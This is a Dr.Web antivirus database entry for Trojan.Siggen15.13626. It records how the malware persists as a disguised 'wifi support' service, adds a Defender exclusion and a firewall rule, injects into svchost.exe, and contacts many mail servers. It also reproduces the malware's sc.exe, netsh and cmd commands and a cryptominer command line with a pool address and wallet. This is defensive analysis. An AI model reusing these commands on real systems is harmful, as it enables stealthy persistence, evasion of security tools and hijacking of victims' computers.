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Trojan.Siggen15.13626

Added to the Dr.Web virus database: 2021-09-10

Virus description added:

Technical Information

To ensure autorun and distribution
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\xbwvmwtp] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\xbwvmwtp] 'ImagePath' = '%WINDIR%\SysWOW64\xbwvmwtp\lfbhscua.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\xbwvmwtp] 'ImagePath' = '%WINDIR%\SysWOW64\xbwvmwtp\lfbhscua.exe'
Creates the following services
  • 'xbwvmwtp' %WINDIR%\SysWOW64\xbwvmwtp\lfbhscua.exe /d"<Full path to file>"
  • 'xbwvmwtp' %WINDIR%\SysWOW64\xbwvmwtp\lfbhscua.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\xbwvmwtp' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\lfbhscua.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\lfbhscua.exe to %WINDIR%\syswow64\xbwvmwtp\lfbhscua.exe
Deletes itself.
Network activity
Connects to
  • 'de###twax.ru':443
  • 'sh########l.mx.a.cloudfilter.net':25
  • 'as##.tpg.com.au':25
  • 'cx#.##.#.cloudfilter.net':25
  • 'mx.#xy.top':25
  • 'in#####.mail.nethere.net':25
  • 'mx#.#ate.com':25
  • 'gi#####.##il.protection.outlook.com':25
  • 'MX.#####l.smarshmail.com':25
  • 'fa###ool.xyz':10060
  • 'mg####01.vircom.com':25
  • 'mx#.##tsolmail.net':25
  • '15#.#01.1.224':443
  • 'mx##.#indstream.net':25
  • 'ALT1.ASPMX.L.GOOGLE.COM':25
  • 'mx.###intpcs.com':25
  • 'mx###.#kymail.net.br':25
  • 'mx#######e02.gslb.pphosted.com':25
  • 'ma##.#wisscom.com':25
  • 'mx###.###east.atmailcloud.com':25
  • 'go###e.co.jp':443
  • 'fu#####ter4.fullnet.net':25
  • 'si###com.com':25
  • 'mx#######c03.gslb.pphosted.com':25
  • 'ma##.#illdotcom.com':25
  • 'ma##.#ailerhost.net':25
  • 'mx.##teria.pl':25
  • 'mx##.mail.com':25
  • 'ma##.#irtexco.com':25
  • 'ma##.#-email.net':25
  • '5.##.37.41':427
  • 'de###twax.ru':483
  • 'mx#.#smcom.com':25
  • 'mx#.#omcast.net':25
  • 'sa#########.mail.protection.outlook.com':25
  • 'sm##.##cureserver.net':25
  • 'mx##.##rnetsecurity.com':25
  • 'al######x-vip1.prodigy.net':25
  • '19#.#6.146.42':427
  • '19#.#6.146.43':427
  • '19#.#6.146.41':427
  • '95.##6.195.92':427
  • '21#.#27.140.23':427
  • 'google.com':80
  • 'alt2.aspmx.l.google.com':25
  • 'cl#####6.netcore.co.in':25
  • 'mx.######mail.rediff.akadns.net':25
  • 'mx##.##il.icloud.com':25
  • 'mx#######502.gslb.pphosted.com':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'cu#######-2.in.mailcontrol.com':25
  • 'mt##.##0.yahoodns.net':25
  • 'jo########m-com.p10.mxthunder.com':25
  • 'mx.##.#tinternet.com':25
  • 'ma#####shal.carsoup.com':25
  • 'ap##########in.mail.protection.outlook.com':25
  • 'as##.#inet.net.au':25
  • 'cl######g.mailcontrol.com':25
  • 'ma##.#otmal.co.uk':25
TCP
HTTP GET requests
  • http://www.google.com/
Other
  • 'de###twax.ru':443
  • 'ma##.#-email.net':25
  • 'cl######g.mailcontrol.com':25
  • 'as##.tpg.com.au':25
  • 'mx.#xy.top':25
  • 'in#####.mail.nethere.net':25
  • 'aspmx.l.google.com':25
  • 'gi#####.##il.protection.outlook.com':25
  • 'fa###ool.xyz':10060
  • 'mg####01.vircom.com':25
  • 'mx#.##tsolmail.net':25
  • '15#.#01.1.224':443
  • 'ma##.#irtexco.com':25
  • 'mx###.#kymail.net.br':25
  • 'go###e.co.jp':443
  • 'fu#####ter4.fullnet.net':25
  • 'si###com.com':25
  • 'ma##.#illdotcom.com':25
  • 'alt2.aspmx.l.google.com':25
  • 'mx.##teria.pl':25
  • 'ap##########in.mail.protection.outlook.com':25
  • 'ma#####shal.carsoup.com':25
  • 'de###twax.ru':483
  • '19#.#6.146.42':427
  • '19#.#6.146.41':427
  • '21#.#27.140.23':427
  • '19#.#6.146.43':427
  • '5.##.37.41':427
  • '95.##6.195.92':427
  • 'mx##.##rnetsecurity.com':25
  • 'mx#.#smcom.com':25
  • 'al######x-vip1.prodigy.net':25
  • 'sa#########.mail.protection.outlook.com':25
  • 'cl#####6.netcore.co.in':25
  • 'mx.######mail.rediff.akadns.net':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'mt##.##0.yahoodns.net':25
  • 'mx.##.#tinternet.com':25
  • 'jo########m-com.p10.mxthunder.com':25
  • 'cu#######-2.in.mailcontrol.com':25
  • 'ALT1.ASPMX.L.GOOGLE.COM':25
UDP
  • DNS ASK de###twax.ru
  • DNS ASK mx##.#indstream.net
  • DNS ASK wi###tream.net
  • DNS ASK ma##.#irtexco.com
  • DNS ASK vi###xco.com
  • DNS ASK ma###raph.de
  • DNS ASK ha######oadssecurity.com
  • DNS ASK mx#.##tsolmail.net
  • DNS ASK fa###ool.xyz
  • DNS ASK sa#####ntadvisors.com
  • DNS ASK mg####01.vircom.com
  • DNS ASK vi##om.com
  • DNS ASK MX.#####l.smarshmail.com
  • DNS ASK sa#####ntadvisor.com
  • DNS ASK gi#####.##il.protection.outlook.com
  • DNS ASK gi#.net
  • DNS ASK aspmx.l.google.com
  • DNS ASK ex###com.com
  • DNS ASK mx#.#ate.com
  • DNS ASK na##.com
  • DNS ASK in#####.mail.nethere.net
  • DNS ASK ne##ere.com
  • DNS ASK di######nnovationsny.com
  • DNS ASK tp#.comau
  • DNS ASK sh##om.com
  • DNS ASK sp###tpcs.com
  • DNS ASK mx.###intpcs.com
  • DNS ASK ad###com.com
  • DNS ASK ALT1.ASPMX.L.GOOGLE.COM
  • DNS ASK cr#####w-schools.org
  • DNS ASK mx.##teria.pl
  • DNS ASK in##ria.pl
  • DNS ASK ma##.#ailerhost.net
  • DNS ASK sp##com.com
  • DNS ASK ma##.#illdotcom.com
  • DNS ASK wi###otcom.com
  • DNS ASK on###intcom.com
  • DNS ASK sp####photmail.com
  • DNS ASK mx#######c03.gslb.pphosted.com
  • DNS ASK si###com.com
  • DNS ASK qu###antcom.com
  • DNS ASK fu#####ter4.fullnet.net
  • DNS ASK so###com.com
  • DNS ASK go###e.co.jp
  • DNS ASK mx###.###east.atmailcloud.com
  • DNS ASK ma####reetcom.com
  • DNS ASK st##com.com
  • DNS ASK ma##.#wisscom.com
  • DNS ASK sw###com.com
  • DNS ASK mx#######e02.gslb.pphosted.com
  • DNS ASK bm##om.com
  • DNS ASK mx###.#kymail.net.br
  • DNS ASK ho###l.co.uk
  • DNS ASK mx.#xy.top
  • DNS ASK nb###com.com
  • DNS ASK cx#.##.#.cloudfilter.net
  • DNS ASK ic##ud.com
  • DNS ASK mx#######502.gslb.pphosted.com
  • DNS ASK co###cola.com
  • DNS ASK jo########m-com.p10.mxthunder.com
  • DNS ASK jo###toncom.com
  • DNS ASK mx.######mail.rediff.akadns.net
  • DNS ASK re###fmail.com
  • DNS ASK cl#####6.netcore.co.in
  • DNS ASK vi###ntek.co.in
  • DNS ASK google.com
  • DNS ASK 19#.###.211.95.in-addr.arpa
  • DNS ASK al######x-vip1.prodigy.net
  • DNS ASK at#.net
  • DNS ASK mx##.##rnetsecurity.com
  • DNS ASK ma###ncom.com
  • DNS ASK sm##.##cureserver.net
  • DNS ASK ne###nix.com
  • DNS ASK sa#########.mail.protection.outlook.com
  • DNS ASK sa##nsa.com
  • DNS ASK mx#.#omcast.net
  • DNS ASK co##ast.net
  • DNS ASK mx#.#smcom.com
  • DNS ASK cs##om.com
  • DNS ASK mx##.##il.icloud.com
  • DNS ASK ve##zon.net
  • DNS ASK mx####.##il.gm0.yahoodns.net
  • DNS ASK or####pharma.com
  • DNS ASK as##.tpg.com.au
  • DNS ASK tp#.com.au
  • DNS ASK sh########l.mx.a.cloudfilter.net
  • DNS ASK sh#w.ca
  • DNS ASK mx##.mail.com
  • DNS ASK us#.com
  • DNS ASK oz###il.com.au
  • DNS ASK ma##.#-email.net
  • DNS ASK pr###com.com
  • DNS ASK cl######g.mailcontrol.com
  • DNS ASK se##lco.com
  • DNS ASK ne####hinfocom.com
  • DNS ASK alt2.aspmx.l.google.com
  • DNS ASK as##.#inet.net.au
  • DNS ASK we###et.com.au
  • DNS ASK ap##########in.mail.protection.outlook.com
  • DNS ASK ap###ooledu.in
  • DNS ASK ma#####shal.carsoup.com
  • DNS ASK cu###com.com
  • DNS ASK mx.##.#tinternet.com
  • DNS ASK bt###ernet.com
  • DNS ASK mt##.##0.yahoodns.net
  • DNS ASK ro###tmail.com
  • DNS ASK cu#######-2.in.mailcontrol.com
  • DNS ASK co#.net
  • DNS ASK ma##.#otmal.co.uk
Miscellaneous
Creates and executes the following
  • '%WINDIR%\syswow64\xbwvmwtp\lfbhscua.exe' /d"<Full path to file>"
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xbwvmwtp\' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\lfbhscua.exe" %WINDIR%\SysWOW64\xbwvmwtp\' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' create xbwvmwtp binPath= "%WINDIR%\SysWOW64\xbwvmwtp\lfbhscua.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' description xbwvmwtp "wifi internet conection"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' start xbwvmwtp' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xbwvmwtp\
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\lfbhscua.exe" %WINDIR%\SysWOW64\xbwvmwtp\
  • '%WINDIR%\syswow64\sc.exe' create xbwvmwtp binPath= "%WINDIR%\SysWOW64\xbwvmwtp\lfbhscua.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
  • '%WINDIR%\syswow64\sc.exe' description xbwvmwtp "wifi internet conection"
  • '%WINDIR%\syswow64\sc.exe' start xbwvmwtp
  • '%WINDIR%\syswow64\svchost.exe'
  • '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
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Doctor Web has been developing anti-virus software since 1992
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Doctor Web is the Russian developer of Dr.Web anti-virus software. Dr.Web anti-virus software has been developed since 1992.

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